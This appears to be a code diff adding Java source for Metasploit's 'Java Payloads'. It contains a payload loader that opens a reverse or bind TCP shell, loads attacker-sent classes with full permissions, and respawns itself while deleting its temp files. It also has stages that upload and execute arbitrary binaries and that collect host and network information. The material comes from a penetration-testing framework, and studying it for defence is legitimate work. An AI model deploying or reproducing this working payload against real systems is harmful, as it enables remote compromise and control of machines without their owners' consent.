* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public interface Stage {
|
||||||
|
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
|
||||||
|
}
|
|
@ -0,0 +1,79 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
public class StreamForwarder extends Thread {
|
||||||
|
public static void forward(InputStream in, OutputStream out) throws IOException {
|
||||||
|
try {
|
||||||
|
final byte[] buf = new byte[4096];
|
||||||
|
int length;
|
||||||
|
while ((length = in.read(buf)) != -1) {
|
||||||
|
if (out != null) {
|
||||||
|
out.write(buf, 0, length);
|
||||||
|
if (in.available() == 0) {
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private final InputStream in;
|
||||||
|
private final OutputStream out;
|
||||||
|
|
||||||
|
private final OutputStream stackTraceOut;
|
||||||
|
|
||||||
|
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
||||||
|
this.in = in;
|
||||||
|
this.out = out;
|
||||||
|
this.stackTraceOut = stackTraceOut;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
forward(in, out);
|
||||||
|
} catch (final Throwable ex) {
|
||||||
|
ex.printStackTrace(new PrintStream(stackTraceOut));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,92 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.net.NetworkInterface;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
|
||||||
|
public class SystemInfo implements Stage {
|
||||||
|
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
PrintStream pout = new PrintStream(out, true);
|
||||||
|
pout.println("System properties:");
|
||||||
|
pout.println("~~~~~~~~~~~~~~~~~~");
|
||||||
|
for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) {
|
||||||
|
final String property = (String) e.nextElement();
|
||||||
|
pout.println(property + "=" + System.getProperty(property));
|
||||||
|
}
|
||||||
|
pout.println();
|
||||||
|
pout.println("Local address:");
|
||||||
|
pout.println("~~~~~~~~~~~~~~");
|
||||||
|
InetAddress addr = InetAddress.getLocalHost();
|
||||||
|
pout.println("Name: "+addr.getHostName());
|
||||||
|
pout.println("Canonical Name: "+addr.getCanonicalHostName());
|
||||||
|
pout.println("IP Address: "+addr.getHostAddress());
|
||||||
|
pout.println();
|
||||||
|
pout.println("Network interfaces:");
|
||||||
|
pout.println("~~~~~~~~~~~~~~~~~~~");
|
||||||
|
for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
|
||||||
|
NetworkInterface iface = (NetworkInterface) e.nextElement();
|
||||||
|
pout.println(iface.getName());
|
||||||
|
pout.println(" Display Name: "+iface.getDisplayName());
|
||||||
|
for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) {
|
||||||
|
InetAddress ifaddr = (InetAddress) e2.nextElement();
|
||||||
|
pout.println(" Address:");
|
||||||
|
pout.println(" Name: "+ifaddr.getHostName());
|
||||||
|
pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName());
|
||||||
|
pout.println(" IP Address: "+ifaddr.getHostAddress());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pout.println();
|
||||||
|
pout.println("External IP Address:");
|
||||||
|
pout.println("~~~~~~~~~~~~~~~~~~~~");
|
||||||
|
try {
|
||||||
|
BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream()));
|
||||||
|
pout.println(br.readLine());
|
||||||
|
br.close();
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace(pout);
|
||||||
|
}
|
||||||
|
pout.println();
|
||||||
|
pout.close();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,71 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public class UpExec implements Stage {
|
||||||
|
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath();
|
||||||
|
final int length = in.readInt();
|
||||||
|
final byte[] data = new byte[length];
|
||||||
|
in.readFully(data);
|
||||||
|
final FileOutputStream fos = new FileOutputStream(tempfile);
|
||||||
|
fos.write(data);
|
||||||
|
fos.close();
|
||||||
|
for (int i = 0; i < parameters.length; i++) {
|
||||||
|
if (parameters[i].equals("--")) {
|
||||||
|
// separator found. The next parameter will be the module name, and
|
||||||
|
// all remaining parameters are for exec.
|
||||||
|
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||||
|
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||||
|
cmdarray[0] = tempfile;
|
||||||
|
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||||
|
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||||
|
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||||
|
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||||
|
proc.waitFor();
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
new File(tempfile).delete();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,308 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads loader class for Metasploit.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
package metasploit;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.security.AllPermission;
|
||||||
|
import java.security.CodeSource;
|
||||||
|
import java.security.Permissions;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.security.cert.Certificate;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.Properties;
|
||||||
|
import java.util.Stack;
|
||||||
|
import java.util.StringTokenizer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The main payload loader class.
|
||||||
|
*
|
||||||
|
* To invoke all the magic, call the {@link #main(String[])} method
|
||||||
|
* (Or use it as Main-Class in a standalone jar and double-click it).
|
||||||
|
*/
|
||||||
|
public class Payload extends ClassLoader {
|
||||||
|
|
||||||
|
public static void main(String[] ignored) throws Exception {
|
||||||
|
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
|
||||||
|
Properties props = new Properties();
|
||||||
|
Class clazz = Payload.class;
|
||||||
|
String clazzFile = clazz.getName().replace('.', '/')+".class";
|
||||||
|
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
|
||||||
|
if (propsStream != null) {
|
||||||
|
props.load(propsStream);
|
||||||
|
propsStream.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
// check if we should respawn
|
||||||
|
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
|
||||||
|
if (spawn > 0) {
|
||||||
|
// decrease count so that eventually the process
|
||||||
|
// will stop spawning
|
||||||
|
props.setProperty("Spawn", String.valueOf(spawn - 1));
|
||||||
|
// write our class
|
||||||
|
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||||
|
dummyTempFile.delete();
|
||||||
|
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
||||||
|
File propFile = new File(tempDir, "metasploit.dat");
|
||||||
|
File classFile = new File(tempDir, clazzFile);
|
||||||
|
classFile.getParentFile().mkdirs();
|
||||||
|
// load ourselves via the class loader (works both on disk and from Jar)
|
||||||
|
InputStream in = clazz.getResourceAsStream("/"+clazzFile);
|
||||||
|
FileOutputStream fos = new FileOutputStream(classFile);
|
||||||
|
byte[] buf = new byte[4096];
|
||||||
|
int len;
|
||||||
|
while ((len = in.read(buf)) != -1) {
|
||||||
|
fos.write(buf,0,len);
|
||||||
|
}
|
||||||
|
fos.close();
|
||||||
|
fos = new FileOutputStream(propFile);
|
||||||
|
props.store(fos, "");
|
||||||
|
fos.close();
|
||||||
|
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||||
|
getJreExecutable("java"),
|
||||||
|
"-classpath",
|
||||||
|
tempDir.getAbsolutePath(),
|
||||||
|
clazz.getName()
|
||||||
|
});
|
||||||
|
// the input streams might cause the child process to block if
|
||||||
|
// we do not read or close them
|
||||||
|
proc.getInputStream().close();
|
||||||
|
proc.getErrorStream().close();
|
||||||
|
|
||||||
|
// give the process plenty of time to load the class if needed
|
||||||
|
Thread.sleep(2000);
|
||||||
|
|
||||||
|
// clean up (we can even delete the .class file on Windows
|
||||||
|
// if the process is still running). Note that delete()
|
||||||
|
// will only delete empty directories, so we have to delete
|
||||||
|
// everything else first
|
||||||
|
File[] files = new File[] {
|
||||||
|
classFile, classFile.getParentFile(), propFile, tempDir
|
||||||
|
};
|
||||||
|
for (int i = 0; i < files.length; i++) {
|
||||||
|
for (int j = 0; j < 10; j++) {
|
||||||
|
if (files[i].delete())
|
||||||
|
break;
|
||||||
|
files[i].deleteOnExit();
|
||||||
|
Thread.sleep(100);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// check what stager to use (bind/reverse)
|
||||||
|
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
||||||
|
String lHost = props.getProperty("LHOST", null);
|
||||||
|
InputStream in;
|
||||||
|
OutputStream out;
|
||||||
|
if (lPort <= 0) {
|
||||||
|
// debug code: just connect to stdin/stdout
|
||||||
|
// best used with embedded stages
|
||||||
|
in = System.in;
|
||||||
|
out = System.out;
|
||||||
|
} else {
|
||||||
|
Socket socket;
|
||||||
|
if (lHost != null) {
|
||||||
|
// reverse_tcp
|
||||||
|
socket = new Socket(lHost, lPort);
|
||||||
|
} else {
|
||||||
|
// bind_tcp
|
||||||
|
ServerSocket serverSocket = new ServerSocket(lPort);
|
||||||
|
socket = serverSocket.accept();
|
||||||
|
serverSocket.close(); // no need to listen any longer
|
||||||
|
}
|
||||||
|
in = socket.getInputStream();
|
||||||
|
out = socket.getOutputStream();
|
||||||
|
}
|
||||||
|
|
||||||
|
// build the stage parameters, if any
|
||||||
|
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
||||||
|
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||||
|
for (int i = 0; i < stageParams.length; i++) {
|
||||||
|
stageParams[i] = stageParamTokenizer.nextToken();
|
||||||
|
}
|
||||||
|
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
||||||
|
try {
|
||||||
|
final DataInputStream in = new DataInputStream(rawIn);
|
||||||
|
Class clazz;
|
||||||
|
final Permissions permissions = new Permissions();
|
||||||
|
permissions.add(new AllPermission());
|
||||||
|
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
||||||
|
if (embeddedStageName == null) {
|
||||||
|
int length = in.readInt();
|
||||||
|
do {
|
||||||
|
final byte[] classfile = new byte[length];
|
||||||
|
in.readFully(classfile);
|
||||||
|
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
|
||||||
|
length = in.readInt();
|
||||||
|
} while (length > 0);
|
||||||
|
} else {
|
||||||
|
clazz = Class.forName("javapayload.stage."+embeddedStageName);
|
||||||
|
}
|
||||||
|
final Object stage = clazz.newInstance();
|
||||||
|
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
|
||||||
|
} catch (final Throwable t) {
|
||||||
|
t.printStackTrace(new PrintStream(out));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
///
|
||||||
|
/// The rest of the file is based on code from Apache Ant 1.8.1
|
||||||
|
///
|
||||||
|
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
|
||||||
|
private static final String PATH_SEP = System.getProperty("path.separator");
|
||||||
|
|
||||||
|
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
||||||
|
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
||||||
|
private static final String JAVA_HOME = System.getProperty("java.home");
|
||||||
|
|
||||||
|
private static String getJreExecutable(String command) {
|
||||||
|
File jExecutable = null;
|
||||||
|
|
||||||
|
if (IS_AIX) {
|
||||||
|
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
|
||||||
|
// Sun's layout.
|
||||||
|
jExecutable = findInDir(JAVA_HOME + "/sh", command);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (jExecutable == null) {
|
||||||
|
jExecutable = findInDir(JAVA_HOME + "/bin", command);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (jExecutable != null) {
|
||||||
|
return jExecutable.getAbsolutePath();
|
||||||
|
} else {
|
||||||
|
// Unfortunately on Windows java.home doesn't always refer
|
||||||
|
// to the correct location, so we need to fall back to
|
||||||
|
// assuming java is somewhere on the PATH.
|
||||||
|
return addExtension(command);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String addExtension(String command) {
|
||||||
|
// This is the most common extension case - exe for windows and OS/2,
|
||||||
|
// nothing for *nix.
|
||||||
|
return command + (IS_DOS ? ".exe" : "");
|
||||||
|
}
|
||||||
|
|
||||||
|
private static File findInDir(String dirName, String commandName) {
|
||||||
|
File dir = normalize(dirName);
|
||||||
|
File executable = null;
|
||||||
|
if (dir.exists()) {
|
||||||
|
executable = new File(dir, addExtension(commandName));
|
||||||
|
if (!executable.exists()) {
|
||||||
|
executable = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return executable;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static File normalize(final String path) {
|
||||||
|
Stack s = new Stack();
|
||||||
|
String[] dissect = dissect(path);
|
||||||
|
s.push(dissect[0]);
|
||||||
|
|
||||||
|
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
|
||||||
|
while (tok.hasMoreTokens()) {
|
||||||
|
String thisToken = tok.nextToken();
|
||||||
|
if (".".equals(thisToken)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ("..".equals(thisToken)) {
|
||||||
|
if (s.size() < 2) {
|
||||||
|
// Cannot resolve it, so skip it.
|
||||||
|
return new File(path);
|
||||||
|
}
|
||||||
|
s.pop();
|
||||||
|
} else { // plain component
|
||||||
|
s.push(thisToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
StringBuffer sb = new StringBuffer();
|
||||||
|
for (int i = 0; i < s.size(); i++) {
|
||||||
|
if (i > 1) {
|
||||||
|
// not before the filesystem root and not after it, since root
|
||||||
|
// already contains one
|
||||||
|
sb.append(File.separatorChar);
|
||||||
|
}
|
||||||
|
sb.append(s.elementAt(i));
|
||||||
|
}
|
||||||
|
return new File(sb.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] dissect(String path) {
|
||||||
|
char sep = File.separatorChar;
|
||||||
|
path = path.replace('/', sep).replace('\\', sep);
|
||||||
|
// make sure we are dealing with an absolute path
|
||||||
|
String root = null;
|
||||||
|
int colon = path.indexOf(':');
|
||||||
|
if (colon > 0 && IS_DOS) {
|
||||||
|
|
||||||
|
int next = colon + 1;
|
||||||
|
root = path.substring(0, next);
|
||||||
|
char[] ca = path.toCharArray();
|
||||||
|
root += sep;
|
||||||
|
//remove the initial separator; the root has it.
|
||||||
|
next = (ca[next] == sep) ? next + 1 : next;
|
||||||
|
|
||||||
|
StringBuffer sbPath = new StringBuffer();
|
||||||
|
// Eliminate consecutive slashes after the drive spec:
|
||||||
|
for (int i = next; i < ca.length; i++) {
|
||||||
|
if (ca[i] != sep || ca[i - 1] != sep) {
|
||||||
|
sbPath.append(ca[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
path = sbPath.toString();
|
||||||
|
} else if (path.length() > 1 && path.charAt(1) == sep) {
|
||||||
|
// UNC drive
|
||||||
|
int nextsep = path.indexOf(sep, 2);
|
||||||
|
nextsep = path.indexOf(sep, nextsep + 1);
|
||||||
|
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
|
||||||
|
path = path.substring(root.length());
|
||||||
|
} else {
|
||||||
|
root = File.separator;
|
||||||
|
path = path.substring(1);
|
||||||
|
}
|
||||||
|
return new String[] {root, path};
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue